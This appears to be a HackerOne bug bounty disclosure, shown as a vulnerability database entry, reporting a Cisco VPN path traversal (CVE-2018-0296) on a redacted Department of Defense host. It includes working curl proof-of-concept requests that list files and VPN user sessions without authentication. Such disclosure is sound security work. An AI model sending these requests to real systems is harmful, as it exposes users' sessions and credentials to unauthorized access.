Lucene search

Sp1d3rsH1:694865

HistorySep 14, 2019 - 1:52 p.m.

U.S. Dept Of Defense: [CVE-2018-0296] Cisco VPN path traversal on the https://██████████

2019-09-1413:52:12

sp1d3rs

hackerone.com

$750

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

AI Score

Confidence

High

EPSS

0.974

Percentile

100.0%

JSON

##Description
I discovered previously unidentified instance https://████████ in DOD network, vulnerable to the CVE-2018-0296 (https://vulners.com/cve/CVE-2018-0296)
It also accepts username and password for login flow instead secure cert auth.

##POC

curl -i -k "https://█████████/+CSCOU+/../+CSCOE+/files/file_list.json" --path-as-is

████

We can disclose user sessions by quering /sessions:

curl -i -k "https://█████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

##Suggested fix
Updating to the latest version should fix the issue. Fixed version should give 404 “File not found” error.
Example of patched version:

curl -i -k "https://mvpn3.█████████/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is

Impact

Path traversal, which can allow the unauthenticated attacker disclose sensitive information such as VPN sessions, files, usernames. Under some conditions it’s possible to cacuse DOS attacks